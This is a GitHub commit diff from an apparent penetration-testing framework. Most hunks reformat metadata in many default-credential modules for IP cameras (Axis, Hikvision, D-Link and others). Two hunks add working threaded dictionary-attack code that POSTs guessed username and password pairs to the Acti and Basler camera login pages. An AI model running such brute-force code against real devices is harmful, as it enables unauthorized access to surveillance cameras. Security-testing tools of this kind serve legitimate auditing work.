Unverified Commit 8bc9cf1d by Marcin Bury Committed by GitHub

Adding telnet creds tests (#423)

parent 541ba37f
......@@ -33,6 +33,9 @@ class Exploit(HTTPClient):
return
print_status("Starting default credentials attack against Acti Camera Web Interface")
data = LockedIterator(self.defaults)
print(data.next())
self.run_threads(self.threads, self.target_function, data)
if self.credentials:
......@@ -42,8 +45,31 @@ class Exploit(HTTPClient):
else:
print_error("Credentials not found")
def target_function(self, data):
pass
def target_function(self, running, creds):
while running.is_set():
try:
username, password = creds.next().split(":")
data = {
"LOGIN_ACCOUNT": username,
"LOGIN_PASSWORD": password,
"LANGUAGE": "0",
"btnSubmit": "Login",
}
response = self.http_request(
method="POST",
path="/video.htm",
data=data
)
if response is None:
continue
if ">Password<" not in response.text:
self.credentials.append((self.target, self.port, self.target_protocol, username, password))
except StopIteration:
break
def check(self):
response = self.http_request(
......@@ -61,7 +87,8 @@ class Exploit(HTTPClient):
if self.check():
self.credentials = []
self.run_threads(self.threads, self.target_function, self.defaults)
data = LockedIterator(self.defaults)
self.run_threads(self.threads, self.target_function, data)
if self.credentials:
return self.credentials
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Avigilon Camera Default SSH Creds",
"description": "Module performs dictionary attack against Avigilon Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Avigilon Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Avigilon Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Avigilon Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Avigilon Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Avtech Camera Default FTP Creds",
"description": "Module performs dictionary attack against Avtech Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Avtech Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Avtech Camera Default SSH Creds",
"description": "Module performs dictionary attack against Avtech Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Avtech Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Avtech Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Avtech Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Avtech Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Axis Camera Default FTP Creds",
"description": "Module performs dictionary attack against Axis Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Axis Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Axis Camera Default SSH Creds",
"description": "Module performs dictionary attack against Axis Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Axis Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Axis Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Axis Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Axis Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(HTTPBasicDigestDefault):
"name": "Axis Camera Default Web Interface Creds - HTTP Auth",
"description": "Module performs dictionary attack against Axis Camera Web Interface. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Axis Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Basler Camera Default FTP Creds",
"description": "Module performs dictionary attack against Basler Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Basler Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Basler Camera Default SSH Creds",
"description": "Module performs dictionary attack against Basler Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Basler Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Basler Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Basler Camera Telnet service. "
"If valid credentials are found, they are displayed to the user. ",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com", # routersploit module
],
"devices": [
),
"devices": (
"Basler Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port(file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(HTTPClient):
"name": "Basler Camera Default Web Interface Creds - HTTP Form",
"description": "Module performs dictionary attack against Basler Camera Web Interface. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Basler Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......@@ -35,6 +35,7 @@ class Exploit(HTTPClient):
print_status("Starting default creds attack against web interface")
data = LockedIterator(self.defaults)
self.run_threads(self.threads, self.target_function, data)
if self.credentials:
......@@ -44,14 +45,52 @@ class Exploit(HTTPClient):
else:
print_error("Credentials not found")
def target_function(self, data):
pass
def target_function(self, running, creds):
while running.is_set():
try:
username, password = creds.next().split(":")
data = {
"Auth.Username": username,
"Auth.Password": password,
}
response = self.http_request(
method="POST",
path="/cgi-bin/auth_if.cgi?Login",
data=data
)
if response and "success: true" in response.text:
self.credentials.append((self.target, self.port, self.target_protocol, username, password))
except StopIteration:
break
@mute
def check(self):
data = {
"Auth.Username": "",
"Auth.Password": "",
}
response = self.http_request(
method="POST",
path="/cgi-bin/auth_if.cgi?Login",
data=data
)
if response and "success: " in response.text:
return True
return False
@mute
def check_default(self):
return None
if self.check():
self.credentials = []
data = LockedIterator(self.defaults)
self.run_threads(self.threads, self.target_function, data)
if self.credentials:
return self.credentials
return None
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Brickcom Camera Default FTP Creds",
"description": "Module performs dictionary attack against Brickcom Camera FTP servie. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Brickcom Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Brickcom Camera Default SSH Creds",
"description": "Module performs dictionary attack against Brickcom Camera SSH service. "
"If valid credentials are found they are displayed to the user. ",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Brickcom Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Brickcom Camera Telnet Creds",
"description": "Module performs dictionary attack against Brickcom Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"brickcom Camera",
],
),
"devices": (
"Brickcom Camera",
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(HTTPBasicDigestDefault):
"name": "Brickcom Camera Default Web Interface Creds - HTTP Auth",
"description": "Module performs dictionary attack against Brickcom Camera. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Brickcom Camera",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Canon Camera Default FTP Creds",
"description": "Module performs dictionary attack against Canon Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Canon Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Canon Camera Default SSH Creds",
"description": "Module performs dictionary attack against Canon Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Canon Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Canon Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Canon Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Canon Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -11,7 +11,7 @@ class Exploit(HTTPBasicDigestDefault):
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
"devices": (
"Canon Camera"
"Canon Camera",
)
}
......
......@@ -6,12 +6,12 @@ class Exploit(FTPDefault):
__info__ = {
"name": "Cisco Camera Default FTP Creds",
"description": "Module performs dictionary attack against Cisco Camera FTP service.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Cisco Camera",
]
)
}
target = OptIP("", "Taret IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Canon Camera Default SSH Creds",
"description": "Module performs dictionary attack against Canon Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"Marcin BUyr <marcin[at]threat9.com>",
],
"devices": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>",
),
"devices": (
"Canon Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Canon Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Canon Camera Telnet service."
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>",
],
"devices": [
),
"devices": (
"Canon Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "D-Link Camera Default FTP Creds",
"description": "Module performs dictionary attack against D-Link Camera FTP service."
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"D-Link Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "D-Link Camera Default SSH Creds",
"description": "Module performs dictionary attack against D-Link Camera SSH service."
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>",
],
"devices": [
),
"devices": (
"D-Link Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "D-Link Camera Default Telnet Creds",
"description": "Module performs dictionary attack against D-Link Camera Telnet service."
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"D-Link Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "GeoVision Camera Default FTP Creds",
"description": "Module performs dictioanry attack against GeoVision Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"GeoVision Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "GeoVision Camera Default SSH Creds",
"description": "Module performs dictionary attack against GeoVision Camera SSH service."
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"GeoVision Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "GeoVision Camera Default Telnet Creds",
"description": "Module performs dictionary attack against GeoVision Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"GeoVision Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Grandstream Camera Default FTP Creds",
"description": "Module performs dictionary attack against Grandstream Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Grandstream Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Grandstream Camera Default SSH Creds",
"description": "Module performs dictionary attack against Grandstream Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Grandstream Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Grandstream Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Grandstream Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com", # routersploit module
],
"devices": [
),
"devices": (
"Grandstream Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Hikvision Camera FTP Creds",
"description": "Module performs dictionary attack against Hikvision Camera FTP service. "
"If valid credentials are found, they displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Hikvision Camera",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Hikvision Camera Default SSH Creds",
"description": "Module performs dictionary attack against Hikvision Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Hikvision Camera"
],
),
"devices": (
"Hikvision Camera",
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port(file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Hikvision Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Hikvision Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Hikvision Camera",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Honeywell Camera Default FTP Creds",
"description": "Module performs dictionary attack against Honeywell Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Honeywell Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Honeywell Camera Default SSH Creds",
"description": "Module performs dictionary attack against Honeywell Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Honeywell Camera",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Honeywell Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Honeywell Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Honeywell Camera",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "IQInvision Camera Default FTP Creds",
"description": "Module performs dictionary attack against IQInvision Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"IQInvision Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "IQInvision Camera Default SSH Creds",
"description": "Module performs dictionary attack against IQInvision Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"IQInvision Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "IQInvision Camera Default Telnet Creds",
"description": "Module performs dictioanry attack against IQInvision Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com", # routersploit module
],
"devices": [
),
"devices": (
"IQInvision Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "JVC Camera Default FTP Creds",
"description": "Module performs dictionary attack against JVC Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"JVC Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "JVC Camera Default SSH Creds",
"description": "Module performs dictionary attack against JVC Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"JVC Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "JVC Camera Default Telnet Creds",
"description": "Module performs dictionary attack against JVC Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"JVC Camera",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Mobotix Camera Default FTP Creds",
"description": "Module performs dictionary attack against Mobotix Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Mobotix Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Mobotix Camera Default SSH Creds",
"description": "Module performs dictionary attack against Mobotix Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Mobotix Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Mobitix Camer Default Telnet Creds",
"description": "Module performs dictionary attack against Mobitix Camera Telnet service. "
"If valid credentials are found, they are displayed tot he user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Mobotix Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Samsung Camera Default FTP Creds",
"description": "Module performs dictionary attack against Samsung Camer FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Samsung Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Samsung Camera Default SSH Creds",
"description": "Module perfroms dictionary attack against Samsung Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Samsung Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Samsung Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Samsung Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Samsung Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Sentry360 Camera Default FTP Creds",
"description": "Module performs dictionary attack against Sentry360 Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Sentry360 Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Sentry360 Camera Default SSH Creds",
"description": "Module performs dictionary attack against Sentry360 Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit
],
"devices": [
),
"devices": (
"Sentry360 Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Sentry360 Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Sentry360 Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Sentry360 Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Siemens Camera Default FTP Creds",
"description": "Module performs dictionary attack against Siemens Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Siemens Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Siemens Camera Default SSH Creds",
"description": "Module performs dictionary attack against Siemens Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Siemens Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Siemens Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Siemens Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Siemens Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Speco Camera Default FTP Creds",
"description": "Module performs dictionary attack against Speco Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Speco Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Speco Camera Default SSH Creds",
"description": "Module performs dictionary attack against Speco Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Speco Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Speco Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Speco Camera Telnet service. "
"If valid credentials are found they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Speco Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Stardot Camera Default FTP Creds",
"description": "Module performs dictionary attack against Stardot Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Stardot Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Stardot Camera Default SSH Creds",
"description": "Module performs dictionary attack against Stardot Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Stardot Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Stardot Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Stardot Camera Telnet service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Stardot Camera",
]
)
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(FTPDefault):
"name": "Vacron Camera Default FTP Creds",
"description": "Module performs dictionary attack against Vacron Camera FTP service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
"Vacron Cameras",
],
),
"devices": (
"Vacron Camera",
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(SSHDefault):
"name": "Vacron Camera Default SSH Creds",
"description": "Module performs dictionary attack against Vacron Camera SSH service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
],
"devices": [
),
"devices": (
"Vacron Camera",
],
),
}
target = OptIP("", "Target IPv4, IPv6 address or file with ip:port (file://)")
......
......@@ -7,12 +7,12 @@ class Exploit(TelnetDefault):
"name": "Vacron Camera Default Telnet Creds",
"description": "Module performs dictionary attack against Vacron Camera Telneta service. "
"If valid credentials are found, they are displayed to the user.",
"authors": [
"authors": (
